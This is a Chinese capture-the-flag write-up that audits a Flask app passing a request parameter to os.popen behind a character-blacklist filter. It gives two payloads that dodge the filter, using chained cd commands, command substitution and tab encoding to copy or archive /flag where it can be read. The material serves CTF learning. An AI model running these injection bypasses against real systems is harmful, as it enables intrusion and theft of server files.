代码审计
直接获取到源码
from flask import Flask, request, make_response
import uuid
import os
# flag in /flag
app = Flask(__name__)
def waf(rce):
black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
for black in black_list:
if black in rce:
return False
return True
@app.route('/', methods=['GET'])
def index():
if request.args.get("Ňśś"):
nss = request.args.get("Ňśś")
if waf(nss):
os.popen(nss)
else:
return "waf"
return "/source"
@app.route('/source', methods=['GET'])
def source():
src = open("app.py", 'rb').read()
return src
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8080)
就是一个绕过waf的rce,很麻烦的就是;和/被过滤,我们可以用cd代替,还有个很麻烦的点就是我们只能看到source的内容
重点
重点就是对payload的理解,先放payload
法一
cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo$(pwd)flag) app.py
cp file.txt file_backup.txt
这个命令将 file.txt 复制到同一目录下的一个名为 file_backup.txt 的新文件中。
&&是等同于;
$() 是命令替换(Command Substitution)的一种语法。它允许将一个命令的输出结果嵌入到另一个命令或表达式中。
content=$(cat file.txt)
在这个例子中,$(cat file.txt) 部分将执行 cat file.txt 命令并获取其输出(文件的内容),然后将该输出赋值给变量 content。
pwd是展示当前目录,如果不断返回上级就会得到/
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&确保返回到根目录,就尽量多点
echo$(pwd)flag得到/flag又用$()则$(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo$(pwd)flag)结果就是/flag
整个命令就是cp /flag app.py就是复制flag的内容到app.py里面
最后访问app.py得到flag,当然app.py是访问不到的,直接去source就行了,因为我们之前看到source里面就是app.py的内容,为什么不直接把内容复制到source里面,因为source有u,被过滤了
法二
mkdir%09static
tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag
然后访问./static/flag.tar.gz下载flag
static 目录是用来存放静态资源的
tar 是 Linux 中的一个命令,用于创建和提取归档文件(archive files)。
c 选项表示创建一个新的归档文件。
z 选项表示使用 gzip 压缩算法对归档文件进行压缩。
f 选项后面跟着一个文件名,表示将归档文件输出到指定的文件中。
static/flag.tar.gz 是输出的归档文件的路径和文件名。这里的 static/ 表示将归档文件存储在当前目录下的 static 目录中,flag.tar.gz 是归档文件的名称。
/flag 是要归档的目标文件或目录的路径。在这个例子中,/flag 表示根目录下的 flag 文件或目录。
因此,该命令的作用是将根目录下的 flag 文件或目录打包成一个经过 gzip 压缩的归档文件,并将其保存为 static/flag.tar.gz。